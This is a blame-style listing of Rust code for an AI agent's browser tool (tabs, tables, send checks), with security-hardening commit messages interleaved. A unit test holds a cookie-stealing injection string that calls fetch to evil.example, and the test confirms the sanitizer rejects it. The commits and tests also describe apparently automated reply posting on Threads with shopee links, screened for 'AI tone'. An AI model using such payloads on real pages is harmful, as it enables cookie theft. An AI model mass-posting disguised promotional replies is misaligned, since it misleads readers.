fix: Linux 操作恢復順暢——保險箱空的不給填入工具、同一個錯誤不再鬼打牆;Wayland 可一律允許、長網頁有編號、Enter 只看游標那格;做完就關掉瀏覽器 一台 Linux(Ubuntu 26.04、X11)上一輪 Threads 海巡 40 分鐘只送出 1 則:小模型一直誤叫保險箱填入(171 次),而 4b53ad4 之後回的是「沒有開著的分頁,請先 browser_open」,Bot 照做又再誤叫。 - 保險箱:只給有東西可填的種類(空的就沒有 vault 工具、browser 也沒有 fill);填入先查 id 在不在,錯誤講對、指向 type;規劃與填入都在這個任務自己的分頁上(本機、box、遠端手腳) - 同一個工具連續 3 次回一樣的錯誤(換參數也一樣):這一回合不再執行 - Wayland(GNOME/KDE,wlroots 的座標點擊)認不出 App 時,改給「操作這台電腦的螢幕」一律允許(一律允許清單裡可移除) - 元素樹走訪上限 4000 → 20000:長網頁捲下去,看得到的部分也有編號 - 敏感動作關卡:Enter/送出只看游標所在(或正在打字)的欄位;座標點擊只看點到的最內層控制項;英文整字比對(PayPal 不是 pay);步驟在別台電腦時不查大腦本機的編號 - 打字先點欄位再檢查最前面是不是 AnyBot;批次從 AnyBot 切到要操作的 App 不再中斷,切到第三個 App 或回到 AnyBot 才停 - 估算對話長度只算真的會送出的最新 3 張截圖 - 做完就關掉瀏覽器(設定 › 電腦 › AnyBot 瀏覽器設定檔,預設開):一輪結束關掉用過的 Firefox/Chrome,別的 Bot 還在用就只關自己的分頁;box 的 Chromium 不變 Mac 444、Linux 448 個測試通過;Firefox 收尾實機測試(Mac、Linux Snap 版)通過;已在那台 Linux 上部署驗證。 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 08:21:32 +00:00
return tidy(profile, args["close"] == true);
}
let (_, port, kind) = port_of(profile)?;
// Another job's tabs aren't listed, switched to or closed.
let list: Vec<Value> = botbrowser::pages_of(kind, port)?.into_iter().filter(|t| !botbrowser::others_tab(t["id"].as_str().unwrap_or(""))).collect();
let current = botbrowser::pick_tab(&list).and_then(|t| t["id"].as_str()).unwrap_or("").to_string();
let idx = args["index"].as_u64().map(|i| i as usize);
let pick = |i: Option<usize>| -> Result<&Value, String> { i.and_then(|i| list.get(i.wrapping_sub(1))).ok_or_else(|| "請給分頁編號(先用 action=list 看)".to_string()) };
match s(args, "action").as_str() {
"switch" => {
let t = pick(idx)?;
botbrowser::activate_tab(kind, port, t["id"].as_str().unwrap_or(""))?;
botbrowser::claim(t["id"].as_str().unwrap_or(""));
Ok(format!("已切到分頁 {}:{}({})", idx.unwrap_or(0), t["title"].as_str().unwrap_or(""), t["url"].as_str().unwrap_or("")))
}
"close" => {
let t = pick(idx)?;
botbrowser::close_tab(kind, port, t["id"].as_str().unwrap_or(""))?;
Ok(format!("已關閉分頁:{}", t["title"].as_str().unwrap_or("")))
}
"new" => {
安全、修正: harden sandboxes, approval gates, vault, relay roles, and fix protocol/UI bugs - macOS 沙盒與工具 (tools.rs, policy.rs, docindex.rs): block AppleScript raw events and concatenation outside the sandbox; stop exposing ~/.ssh or localhost sockets in Sealed mode; deny writes to shell profiles, LaunchAgents and .git/hooks; expand secret-file ignores and enforce symlink/policy checks across SSH, device and document search. - 電腦操作與遮罩 (computer.rs, agent.rs, marks.rs, desktop.rs, cloudbox.rs, portal.rs): forbid clicking or typing into AnyBot's own windows; extend the sensitive-action hard gate to raw coordinates, Return/Delete submits and remote devices; stop batch steps if the front app changes; black out secrets on zoom, show, >600-node trees, adjacent OTP labels, box screenshots and control text lists; preserve non-text Wayland clipboards. - 保險庫與瀏覽器 (vault.rs, vault_store.rs, browser.rs, botbrowser.rs, web.rs, box/browser): verify tab host and HTTPS atomically at fill time; taint filled tabs against browser_eval and PDF export while masking card/CVC values and screenshots; remember sites only on always-allow; drop --remote-allow-origins=*; gate private URLs and block metadata/Docker ports, OrbStack 198.18/15 and IPv6 transition ranges. - 帳號伺服器、同步與傳送 (relay/, remote.rs, mirror_ui.rs, share.rs, drops.rs): isolate paired hands hosts from brain sync, tickets, pairing and backup overwrites; redact routine trigger secrets and clear REDACTED when endpoints change; isolate channel and team-member turns from owner memories, appctl and grants; scrub shared bot exports and reset grants/routines on import; validate drop IDs and serialize chunk writes. - 網路與協定穩定性 (httpd.rs, tunnel.rs, vnc.rs, Caddyfile*): fix chunked integer overflow and CRLF header injection; enforce Origin checks, connection/job caps, 200 MB backup reads, unique atomic temp files and ASCII hex guards; bound deflate unzip and VNC sniff buffers; move VNC stdin/text off the tunnel loop. - 介面、排程、語言與其他修正 (app.rs, i18n.rs, providers.rs, skills.rs, routines.rs, setup.rs, store.rs, preview.rs, attach.rs, speech.rs, teams.rs, mcp.rs, voice.rs): wire up the delete-routine confirmation dialog and mirror run-now; preserve unsaved mirror edits across brief disconnects; give Chinese skills distinct folders and approval gates; convert parsed tool JSON fields without corrupting code fences, URLs or paths; fix Hourly DST offsets and time out unattended routine approvals; lock --install-skill, cap docx/xlsx unzip sizes, isolate test env keys, and tighten local file permissions. Co-authored-by: Cursor <cursoragent@cursor.com>
2026-11-12 06:34:10 +00:00
let raw = s(args, "url");
let url = if raw.is_empty() {
"about:blank".into()
} else {
let norm = crate::web::normalize_url(&raw)?;
if crate::web::is_forbidden_browser_url(&norm) {
return Err("安全規則禁止開啟雲端中繼資料(169.254.169.254)或系統內部管理端點。".into());
}
norm
};
let made = botbrowser::new_tab(kind, port, &url)?;
botbrowser::claim(&made);
Whole control flow checked against real chats: what the bot sees is what is there, every step lands, nothing done twice Web - web_fetch kept pages with a <header> only up to it (taken for <head>): articles came back as their menus. - browser_open waits for the page to load and returns it like browser_read (one step fewer per page); actions wait for the page to hold still instead of fixed 1-2.5 s sleeps; one way to reach the tab. The bot's computer (box v6) - Numbers only on what can be seen: clipped to the window and the page's visible area, none under another app's window (a link scrolled under the toolbar was numbered on Back). - press_key with a typed character no longer swallows the keys after it (xdotool type --args 1). - The person's input through noVNC/TigerVNC is noticed again (fence, continuous updates, QEMU keys). - "Nothing changed" only after clicks, scrolls and drags; long text is pasted; one screen step at a time; one docker inspect per step when the box is known ready; poppler-utils for long PDFs. - One typing path and fewer round trips (stdin variant, unused picture path, extra batch execs gone). The person's computers - Linux: the window system's front app when it has one, and the reason when there is none (was 「」); hidden and off-screen controls get no number; wording no longer names a tool that doesn't exist. The loop - Without Docker, the bot's own computer runs no commands where there is no sandbox (Linux, Windows): it was a plain shell on the brain itself, keys in reach, asked nothing. - The bot's own computer is re-checked each step; unreachable computers are failures, not safety blocks; no direct-mode note on every result; an empty reply is asked again; scrolling and keys aren't counted as going in circles; steps aren't moved to a computer that can't do them. - One finish() for every step's result, keep_grant(), dead appctl list_computers/SERVING and the impossible server branches removed; duplicated prompt instructions merged. Tests: 162 (Mac) / 166 (Linux) unit; real box drills 6/6 on box v6; a brain without Chrome browses on its box; remote E2E 28/28. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha2RVfSYmrhqNnqx9Z4
2026-11-06 09:44:59 +00:00
let loaded = wait_loaded(profile, 10_000);
Ok(format!("已開新分頁:{url}{}", if loaded { "" } else { "(還在載入,可以用 browser_wait 等它)" }))
}
_ => Ok(if list.is_empty() {
"沒有開著的分頁。".into()
} else {
// Untitled pages (about:blank, bare pages) show their url, so the model never sees an empty line.
list.iter().enumerate().map(|(i, t)| {
let url = t["url"].as_str().unwrap_or("");
let title = t["title"].as_str().unwrap_or("");
let title = if title.is_empty() { url } else { title };
format!("{}. {}{}\n {}", i + 1, title, if t["id"].as_str() == Some(current.as_str()) { "(目前)" } else { "" }, url)
}).collect::<Vec<_>>().join("\n")
}),
}
}
/// HTML tables and ARIA grids as Markdown.
fn table(tab: &mut Tab, args: &Value) -> Result<String, String> {
let js = r#"(() => {
const clean = s => (s || '').replace(/\s+/g, ' ').trim().replace(/\|/g, '/');
const vis = el => { const r = el.getBoundingClientRect(); return r.width > 1 && r.height > 1; };
const tables = [];
for (const t of document.querySelectorAll('table')) {
if (!vis(t)) continue;
const rows = [...t.querySelectorAll('tr')].map(r => [...r.children].filter(c => c.tagName === 'TD' || c.tagName === 'TH').map(c => clean(c.innerText))).filter(r => r.some(x => x));
if (rows.length) tables.push({caption: clean((t.caption || {}).innerText || t.getAttribute('aria-label') || ''), rows});
}
for (const g of document.querySelectorAll('[role=grid],[role=table],[role=treegrid]')) {
if (!vis(g) || g.tagName === 'TABLE') continue;
const rows = [...g.querySelectorAll('[role=row]')].map(r => [...r.querySelectorAll('[role=columnheader],[role=cell],[role=gridcell],[role=rowheader]')].map(c => clean(c.innerText))).filter(r => r.some(x => x));
if (rows.length) tables.push({caption: clean(g.getAttribute('aria-label') || ''), rows});
}
// Fixed-header tables split into a header table and a body table (common in admin pages):
// glue a lone header row onto the next table with the same width.
const out = [];
for (let i = 0; i < tables.length; i++) {
const t = tables[i], n = tables[i + 1];
if (t.rows.length === 1 && n && n.rows[0] && n.rows[0].length === t.rows[0].length) { out.push({caption: t.caption || n.caption, rows: t.rows.concat(n.rows)}); i++; }
else out.push(t);
}
return JSON.stringify(out);
})()"#;
let v = tab.eval(js)?;
let tables: Vec<Value> = v.as_str().and_then(|s| serde_json::from_str(s).ok()).unwrap_or_default();
if tables.is_empty() {
return Ok("這一頁沒有表格。數字如果在圖表裡,用 browser_screenshot 看,或用 browser_read 讀文字。".into());
}
let max_rows = args["max_rows"].as_u64().unwrap_or(200) as usize;
let pick: Vec<(usize, &Value)> = match (args["index"].as_u64(), args["all"].as_bool().unwrap_or(false)) {
(Some(i), _) => tables.iter().enumerate().filter(|(j, _)| *j + 1 == i as usize).collect(),
(None, true) => tables.iter().enumerate().collect(),
(None, false) => tables.iter().enumerate().max_by_key(|(_, t)| t["rows"].as_array().map(|r| r.len()).unwrap_or(0)).into_iter().collect(),
};
let mut out = format!("這一頁有 {} 個表格。\n", tables.len());
for (i, t) in pick {
let rows: Vec<Vec<String>> = t["rows"].as_array().map(|rs| rs.iter().map(|r| r.as_array().map(|c| c.iter().map(|x| x.as_str().unwrap_or("").to_string()).collect()).unwrap_or_default()).collect()).unwrap_or_default();
let width = rows.iter().map(|r| r.len()).max().unwrap_or(0);
out.push_str(&format!("\n### 表格 {}{}({} 列)\n", i + 1, if t["caption"].as_str().unwrap_or("").is_empty() { String::new() } else { format!(":{}", t["caption"].as_str().unwrap_or("")) }, rows.len().saturating_sub(1)));
for (k, r) in rows.iter().take(max_rows + 1).enumerate() {
let mut cells = r.clone();
cells.resize(width, String::new());
out.push_str(&format!("| {} |\n", cells.join(" | ")));
if k == 0 {
out.push_str(&format!("|{}\n", "---|".repeat(width)));
}
}
if rows.len() > max_rows + 1 {
out.push_str(&format!("…還有 {} 列(可以捲動或換頁再讀)\n", rows.len() - max_rows - 1));
}
}
Ok(out)
}
#[cfg(test)]
mod tests {
Bug sweep: gates, relay 2FA, Windows input, snapshots, encodings Permissions and reach - a file leaving a computer passes the same questions as reading it; "looking" shell commands that do more than look ask first - a symlink out of the work/sealed folder counts as outside it (real paths, not just lexical ones); the search walk skips links - web_fetch and skill_install read the public web only: localhost, the LAN and cloud metadata are refused, at every redirect - preview shows a file without running it; browser_upload may ask - vault: logins no longer match across shared suffixes (pages.dev, com.tw, ...); registrable_domain knows public suffixes - axwrite: found elements are retained (use-after-free) Relay - replacing or turning off 2FA needs the current code (rate-limited); new recovery codes only count once enrollment is verified - a removed computer loses its socket and its `call` access - a site name taken by another account answers 409 - RELAY_TRUST_PROXY: the login lock counts the caller's address, not the proxy's (compose files and README) - httpd: half a body is not a request Desktop - sign-in, join and restore work with 2FA on (code field; --serve reads ANYBOT_ACCOUNT_CODE; the setup wizard points to a pairing code) - Windows: text was typed twice; modifiers are held through click, drag and scroll; horizontal scroll; screen control is no longer refused - a recording that hits the limit is transcribed, not thrown away - bot's computer: a new home volume restores the snapshot; a snapshot is read through before the home is wiped; a failed volume removal stops reset/restore - events of a stopped turn no longer land in the next one; each channel message gets a turn of its own - saving a bot's settings keeps what it got meanwhile (three-way merge); a save file that cannot be read is kept - pages in Big5/GBK/Shift_JIS are read in their own encoding (encoding_rs); osascript output past 64 KB no longer stalls - pick_tab keeps a job's own non-http tab; pictures larger than the texture limit are fitted; the auto-update time field takes typing - skills live in <data>/skills; memories are unnumbered in the prompt; the phone may skillify and skill_install CI - the test step fails when the tests fail (it piped into tail) Tests: anybot 268 passed, 27 ignored; relay 16 passed; clippy unchanged. Not run: Windows on a real machine (win.rs type-checked alone), the Docker paths of the bot's computer, the live accessibility writes. Co-authored-by: Cursor <cursoragent@cursor.com>
2026-11-10 03:46:17 +00:00
/// The direction goes into the page's script: only the four words ever do.
#[test]
fn a_scroll_goes_one_of_four_ways() {
use super::scroll_direction;
assert_eq!((scroll_direction("up"), scroll_direction(" Top "), scroll_direction("bottom"), scroll_direction("")), ("up", "top", "bottom", "down"));
assert_eq!(scroll_direction("'; fetch('https://evil.example/?c=' + document.cookie); '"), "down");
}
#[test]
fn the_one_tool_maps_every_action() {
安全、修正: harden sandboxes, approval gates, vault, relay roles, and fix protocol/UI bugs - macOS 沙盒與工具 (tools.rs, policy.rs, docindex.rs): block AppleScript raw events and concatenation outside the sandbox; stop exposing ~/.ssh or localhost sockets in Sealed mode; deny writes to shell profiles, LaunchAgents and .git/hooks; expand secret-file ignores and enforce symlink/policy checks across SSH, device and document search. - 電腦操作與遮罩 (computer.rs, agent.rs, marks.rs, desktop.rs, cloudbox.rs, portal.rs): forbid clicking or typing into AnyBot's own windows; extend the sensitive-action hard gate to raw coordinates, Return/Delete submits and remote devices; stop batch steps if the front app changes; black out secrets on zoom, show, >600-node trees, adjacent OTP labels, box screenshots and control text lists; preserve non-text Wayland clipboards. - 保險庫與瀏覽器 (vault.rs, vault_store.rs, browser.rs, botbrowser.rs, web.rs, box/browser): verify tab host and HTTPS atomically at fill time; taint filled tabs against browser_eval and PDF export while masking card/CVC values and screenshots; remember sites only on always-allow; drop --remote-allow-origins=*; gate private URLs and block metadata/Docker ports, OrbStack 198.18/15 and IPv6 transition ranges. - 帳號伺服器、同步與傳送 (relay/, remote.rs, mirror_ui.rs, share.rs, drops.rs): isolate paired hands hosts from brain sync, tickets, pairing and backup overwrites; redact routine trigger secrets and clear REDACTED when endpoints change; isolate channel and team-member turns from owner memories, appctl and grants; scrub shared bot exports and reset grants/routines on import; validate drop IDs and serialize chunk writes. - 網路與協定穩定性 (httpd.rs, tunnel.rs, vnc.rs, Caddyfile*): fix chunked integer overflow and CRLF header injection; enforce Origin checks, connection/job caps, 200 MB backup reads, unique atomic temp files and ASCII hex guards; bound deflate unzip and VNC sniff buffers; move VNC stdin/text off the tunnel loop. - 介面、排程、語言與其他修正 (app.rs, i18n.rs, providers.rs, skills.rs, routines.rs, setup.rs, store.rs, preview.rs, attach.rs, speech.rs, teams.rs, mcp.rs, voice.rs): wire up the delete-routine confirmation dialog and mirror run-now; preserve unsaved mirror edits across brief disconnects; give Chinese skills distinct folders and approval gates; convert parsed tool JSON fields without corrupting code fences, URLs or paths; fix Hourly DST offsets and time out unattended routine approvals; lock --install-skill, cap docx/xlsx unzip sizes, isolate test env keys, and tighten local file permissions. Co-authored-by: Cursor <cursoragent@cursor.com>
2026-11-12 06:34:10 +00:00
let c = |args: &str| {
let mut call = crate::model::ToolCall { id: "x".into(), name: TOOL.into(), args: args.into(), status: crate::model::ToolStatus::Done };
expand_call(&mut call);
(call.name, call.args)
};
let (n, a) = c(r#"{"action":"click","ref":"12","double":true}"#);
assert_eq!(n, "browser_click");
assert!(a.contains(r#""ref":"12""#) && a.contains("double") && !a.contains("action"), "{a}");
let (n, a) = c(r#"{"action":"fill","kind":"card","id":"7"}"#);
assert_eq!(n, "browser_fill_card");
assert!(a.contains(r#""card_id":"7""#) && !a.contains("kind"), "{a}");
let (n, _) = c(r#"{"action":"fill"}"#);
assert_eq!(n, "browser_fill_login");
let (n, _) = c(r#"{"action":"nope"}"#);
assert_eq!(n, TOOL, "an unknown action stays put (the runner explains it)");
// Every internal browser tool is reachable from the one schema.
let mut mapped: Vec<&str> = tool(&json!({"type": "string"}))["parameters"]["properties"]["action"]["enum"]
.as_array()
.unwrap()
.iter()
.map(|a| action_tool(a.as_str().unwrap()).unwrap())
.collect();
mapped.extend(["browser_fill_card", "browser_fill_contact"]);
feat: 發布關卡——已送帳本、發布前檢查、送出後讀頁面留證據、例行任務完成條件、重播可填空格 1. 已送帳本(publish.rs):Bot 用 AnyBot 瀏覽器送出前,系統先讀頁面,看是哪個帳號、回哪一篇(回覆對話框或文章裡的貼文網址、或頁面本身);同一帳號回過同一篇就擋下(記 60 天),頁面看不出回哪篇時只擋 24 小時內同頁同字。搜尋框按 Enter 不算送出。瀏覽器新增 sent 動作,直接從帳本列出帳號回過誰,不必每輪讀完網站的回覆頁 2. 發布前檢查:送出前請另一家供應商的快速模型照基本規則(簡體字、AI 腔、不該公開的內容)、這一輪讀過的技能與自訂規則檢查,沒過就不送並說原因;固定不變的放在系統提示最前面方便快取,同一段字一輪只問一次;設定可關、可加規則 3. 送出後的證據:系統重讀頁面,確認文字出現、輸入框清空,抓出留言自己的網址;寫進 Message.sent(頁面文字偽造不了),送出計數、例行任務紀錄、/goal 評審、手機頁面都以它為準;框裡還留著字就記為沒有送出 4. 完成條件:例行任務可設 target_sends,系統自己數:到數就不准再送,結束時不到算失敗,連續兩輪(50 步)沒有新的送出就停下;喚醒訊息與進展檢查都說明目前計數 5. 重播空格:自動學技能時把每次不同的內容(留言、貼文網址)存成 {{名稱}},replay_skill 用 values 填這次的內容,缺哪格就說哪格 6. 間隔從真正送出那一刻算起;送出後確認最多等 8 秒,框清空 4 秒仍沒看到就先記「還沒確認」 Mac 480 個測試通過;送出前後讀頁面在 Brave、Firefox 實機測試通過。 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 17:48:13 +00:00
// …except the system's own looks around a send, which the model never gets.
assert!(!mapped.contains(&SEND_INFO) && !mapped.contains(&SENT_CHECK));
for n in NAMES.into_iter().filter(|n| ![SEND_INFO, SENT_CHECK].contains(n)) {
assert!(mapped.contains(&n), "internal tool {n} is unreachable from browser");
}
}
fix: Linux 操作恢復順暢——保險箱空的不給填入工具、同一個錯誤不再鬼打牆;Wayland 可一律允許、長網頁有編號、Enter 只看游標那格;做完就關掉瀏覽器 一台 Linux(Ubuntu 26.04、X11)上一輪 Threads 海巡 40 分鐘只送出 1 則:小模型一直誤叫保險箱填入(171 次),而 4b53ad4 之後回的是「沒有開著的分頁,請先 browser_open」,Bot 照做又再誤叫。 - 保險箱:只給有東西可填的種類(空的就沒有 vault 工具、browser 也沒有 fill);填入先查 id 在不在,錯誤講對、指向 type;規劃與填入都在這個任務自己的分頁上(本機、box、遠端手腳) - 同一個工具連續 3 次回一樣的錯誤(換參數也一樣):這一回合不再執行 - Wayland(GNOME/KDE,wlroots 的座標點擊)認不出 App 時,改給「操作這台電腦的螢幕」一律允許(一律允許清單裡可移除) - 元素樹走訪上限 4000 → 20000:長網頁捲下去,看得到的部分也有編號 - 敏感動作關卡:Enter/送出只看游標所在(或正在打字)的欄位;座標點擊只看點到的最內層控制項;英文整字比對(PayPal 不是 pay);步驟在別台電腦時不查大腦本機的編號 - 打字先點欄位再檢查最前面是不是 AnyBot;批次從 AnyBot 切到要操作的 App 不再中斷,切到第三個 App 或回到 AnyBot 才停 - 估算對話長度只算真的會送出的最新 3 張截圖 - 做完就關掉瀏覽器(設定 › 電腦 › AnyBot 瀏覽器設定檔,預設開):一輪結束關掉用過的 Firefox/Chrome,別的 Bot 還在用就只關自己的分頁;box 的 Chromium 不變 Mac 444、Linux 448 個測試通過;Firefox 收尾實機測試(Mac、Linux Snap 版)通過;已在那台 Linux 上部署驗證。 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 08:21:32 +00:00
feat: 借鏡 pstack/Grok Bot——例行任務執行紀錄、完成看證據、教訓分流、園丁報告、減少操作步驟、網站地圖 1. 例行任務執行紀錄:每次執行記開始/結束、完成/失敗/被停止/中斷、步數與失敗步數、原因,保留最近 20 次(Grok Bot 官方規格);上次失敗或中斷的原因帶進下一次;連續失敗 2 次自動暫停並說明原因;設定頁、手機詳細頁、list_routines 都看得到,沒有紀錄時說「查不到」不說「沒跑過」 2. 完成看證據:evidence.rs 從步驟算出實際成功送出幾次,寫進例行任務紀錄;/goal 評審的摘錄把 Bot 的話標成「不是證據」並附系統統計,對不上以系統為準;評審優先用另一家供應商的模型,失敗退回原本的 3. 教訓分流:自動學技能時,AnyBot 自己的工具問題寫進 tool_issues → 「待改進」清單(同一工具合併計次),不寫進技能;設定 › 更新可看可清除 4. 園丁報告(garden.rs):平日 8:44 掃過去一天的失敗、走冤枉路的執行、自動暫停與重複出現的待改進;週一 8:49 列出失敗多或太耗時的例行任務;沒事不報,可在設定關掉 5. 減少步驟:browser type 多行文字一次放進欄位(先試貼上事件、檢查沒進再用 insertText,Firefox 也行)並回報欄位內容;點進輸入框回「游標已在…」不再說「沒有變化」;元素編號在同一頁重讀時不變;wait 的 after_send 從上次送出算間隔 6. 網站地圖:學技能時同一網站的操作知識整理進「<網站> 網站地圖」(功能/怎麼到/怎麼操作/陷阱),做事的技能只寫特有規則 Mac 465、Linux 469 個測試通過;多行輸入與編號實機測試在 Brave、Firefox 通過。 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 15:52:44 +00:00
/// 少一點步驟, live: a click into a box says the cursor is there; lines go in whole (an
/// editor that takes pastes, and a plain textarea); numbers stay put when the page grows.
/// Headless, in a scratch data folder, on a port of its own:
/// ANYBOT_DATA_DIR=$T ANYBOT_BROWSER_PORT=9398 ANYBOT_BROWSER_FLAGS=--headless=new <test binary> --ignored lines_go_in_whole
/// (Firefox: ANYBOT_BROWSER_ENGINE=firefox ANYBOT_FIREFOX_HEADLESS=1 and HOME=$T as well)
#[test]
#[ignore]
fn lines_go_in_whole_and_numbers_stay_put() {
use std::io::{Read, Write};
let l = std::net::TcpListener::bind("127.0.0.1:0").unwrap();
let port = l.local_addr().unwrap().port();
std::thread::spawn(move || {
for mut c in l.incoming().flatten() {
let mut buf = [0u8; 2048];
let _ = c.read(&mut buf);
let body = r#"<html><head><meta charset="utf-8"><title>回覆測試</title></head><body>
<div id="ed" contenteditable="true" aria-label="回覆" style="min-height:40px;border:1px solid #888"></div>
<textarea id="ta" placeholder="備註"></textarea>
<button onclick="const b=document.createElement('button');b.textContent='新按鈕'+document.querySelectorAll('button').length;document.body.prepend(b)">加一個</button>
<script>document.getElementById('ed').addEventListener('paste', e => { e.preventDefault(); const t = e.clipboardData.getData('text/plain'); document.getElementById('ed').innerText = t; });</script>
</body></html>"#;
let _ = write!(c, "HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}", body.len());
}
});
let url = format!("http://127.0.0.1:{port}/");
let r = (|| -> Result<(), String> {
botbrowser::as_job("lines", || -> Result<(), String> {
botbrowser::open(&url, None)?;
let refs = || -> Result<String, String> { run("browser_elements", &json!({})).map(|r| r.0) };
let num = |list: &str, name: &str| -> String { list.lines().find(|l| l.contains(name)).and_then(|l| l.split(']').next()).map(|s| s.trim_start_matches('[').to_string()).unwrap_or_default() };
let first = refs()?;
let ed = num(&first, "「回覆」");
assert!(!ed.is_empty(), "{first}");
let (clicked, _) = run("browser_click", &json!({"ref": ed}))?;
assert!(clicked.contains("游標已在「回覆」裡"), "{clicked}");
let (typed, _) = run("browser_type", &json!({"ref": ed, "value": "第一行\n第二行\nhttps://s.shopee.tw/x"}))?;
assert!(typed.contains("第一行 ⏎ 第二行 ⏎ https://s.shopee.tw/x"), "{typed}");
// The page grows: the box keeps its number.
run("browser_click", &json!({"text": "加一個"}))?;
let second = refs()?;
assert_eq!(num(&second, "「回覆」"), ed, "{first}\n---\n{second}");
let ta = num(&second, "「備註」");
let (typed, _) = run("browser_type", &json!({"ref": ta, "value": "甲\n乙"}))?;
assert!(typed.contains("甲 ⏎ 乙"), "{typed}");
Ok(())
feat: 發布關卡——已送帳本、發布前檢查、送出後讀頁面留證據、例行任務完成條件、重播可填空格 1. 已送帳本(publish.rs):Bot 用 AnyBot 瀏覽器送出前,系統先讀頁面,看是哪個帳號、回哪一篇(回覆對話框或文章裡的貼文網址、或頁面本身);同一帳號回過同一篇就擋下(記 60 天),頁面看不出回哪篇時只擋 24 小時內同頁同字。搜尋框按 Enter 不算送出。瀏覽器新增 sent 動作,直接從帳本列出帳號回過誰,不必每輪讀完網站的回覆頁 2. 發布前檢查:送出前請另一家供應商的快速模型照基本規則(簡體字、AI 腔、不該公開的內容)、這一輪讀過的技能與自訂規則檢查,沒過就不送並說原因;固定不變的放在系統提示最前面方便快取,同一段字一輪只問一次;設定可關、可加規則 3. 送出後的證據:系統重讀頁面,確認文字出現、輸入框清空,抓出留言自己的網址;寫進 Message.sent(頁面文字偽造不了),送出計數、例行任務紀錄、/goal 評審、手機頁面都以它為準;框裡還留著字就記為沒有送出 4. 完成條件:例行任務可設 target_sends,系統自己數:到數就不准再送,結束時不到算失敗,連續兩輪(50 步)沒有新的送出就停下;喚醒訊息與進展檢查都說明目前計數 5. 重播空格:自動學技能時把每次不同的內容(留言、貼文網址)存成 {{名稱}},replay_skill 用 values 填這次的內容,缺哪格就說哪格 6. 間隔從真正送出那一刻算起;送出後確認最多等 8 秒,框清空 4 秒仍沒看到就先記「還沒確認」 Mac 480 個測試通過;送出前後讀頁面在 Brave、Firefox 實機測試通過。 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 17:48:13 +00:00
})
})();
let _ = botbrowser::quit(None);
r.unwrap();
}
/// 發布關卡, live, on a page shaped like Threads: the reply dialog says which post it answers;
/// after ctrl+Enter the words are on the page with their own new address; Enter in the search
/// box is a search; words left in the box were not sent. Run like the one above (… --ignored
/// a_send_is_seen).
#[test]
#[ignore]
fn a_send_is_seen_with_the_post_it_answers_and_its_own_address() {
use std::io::{Read, Write};
let l = std::net::TcpListener::bind("127.0.0.1:0").unwrap();
let port = l.local_addr().unwrap().port();
std::thread::spawn(move || {
for mut c in l.incoming().flatten() {
let mut buf = [0u8; 2048];
let _ = c.read(&mut buf);
let body = r#"<html><head><meta charset="utf-8"><title>Threads 測試</title><style>* { margin: 0; padding: 0; font-size: 11px; } article { display: flex; gap: 6px; }</style></head><body>
<input type="search" placeholder="搜尋" id="q">
<article id="p1"><a href="/@a">a</a> <a href="/@a/post/X1">3 小時</a><p>我家貓每天半夜跑酷</p><button onclick="openReply('X1')">回覆</button><div class="thread"></div></article>
<article id="p2"><a href="/@b">b</a> <a href="/@b/post/X2?xmt=1">5 小時</a><p>推薦貓抓板嗎</p><button onclick="openReply('X2')">回覆 b</button><div class="thread"></div></article>
<div id="toast"></div>
<script>
let n = 0, open = null;
function openReply(id) {
const d = document.createElement('div'); d.setAttribute('role', 'dialog'); d.id = 'dlg';
const src = document.querySelector('a[href*="/post/' + id + '"]').closest('article');
d.innerHTML = '<div class="quote">' + src.querySelector('p').innerText + ' <a href="' + src.querySelector('a[href*="/post/"]').getAttribute('href') + '">原文</a></div><div contenteditable="true" aria-label="回覆" id="ed" style="min-height:40px;border:1px solid #888"></div><button onclick="post()">發佈</button>';
document.body.appendChild(d); open = src; document.getElementById('ed').focus();
}
function post() {
const ed = document.getElementById('ed'); const t = ed.innerText.trim(); if (!t) return;
n += 1; const r = document.createElement('div'); r.innerHTML = '<a href="/@me">me</a> <a href="/@me/post/Y' + n + '">剛剛</a><p></p>'; r.querySelector('p').innerText = t;
open.querySelector('.thread').appendChild(r); document.getElementById('dlg').remove(); open = null;
}
document.addEventListener('keydown', e => { if (e.key === 'Enter' && (e.ctrlKey || e.metaKey) && document.getElementById('dlg')) { e.preventDefault(); post(); } });
</script></body></html>"#;
let _ = write!(c, "HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}", body.len());
}
});
let url = format!("http://127.0.0.1:{port}/");
let r = (|| -> Result<(), String> {
botbrowser::as_job("send", || -> Result<(), String> {
botbrowser::open(&url, None)?;
let info = |mode: &str, rf: &str, value: &str| -> Result<Value, String> { run(SEND_INFO, &json!({"mode": mode, "ref": rf, "value": value})).map(|r| serde_json::from_str(&r.0).unwrap()) };
let check = |before: &Value, text: &str| -> Result<Value, String> {
run(SENT_CHECK, &json!({"excerpt": crate::publish::excerpt(text), "links": before["links"], "target": before["target"]})).map(|r| serde_json::from_str(&r.0).unwrap())
};
// Reply to the second post: the dialog names it (its address without the query).
let list = run("browser_elements", &json!({}))?.0;
let second = list.lines().find(|l| l.contains("「回覆 b」")).and_then(|l| l.split(']').next()).map(|s| s.trim_start_matches('[').to_string()).ok_or(list.clone())?;
run("browser_click", &json!({"ref": second}))?;
let words = "推薦這款,我家用兩年了\nhttps://s.shopee.tw/x";
run("browser_type", &json!({"text": "回覆", "value": words}))?;
let before = info("key", "", "")?;
assert_eq!(before["kind"], "editor", "{before}");
assert_eq!(before["target"], format!("http://127.0.0.1:{port}/@b/post/X2"), "{before}");
assert!(before["text"].as_str().unwrap().contains("推薦這款"), "{before}");
assert!(before["quoted"].as_str().unwrap().contains("推薦貓抓板嗎"), "{before}");
run("browser_press", &json!({"key": "ctrl+Return"}))?;
let after = check(&before, words)?;
assert_eq!(after["left"], false, "{after}");
assert_eq!(after["seen"], true, "{after}");
assert_eq!(after["link"], format!("http://127.0.0.1:{port}/@me/post/Y1"), "{after}");
// Words typed but not sent: still in the box.
run("browser_click", &json!({"text": "回覆 b"}))?;
run("browser_type", &json!({"text": "回覆", "value": "還沒想好要說什麼"}))?;
let before = info("key", "", "")?;
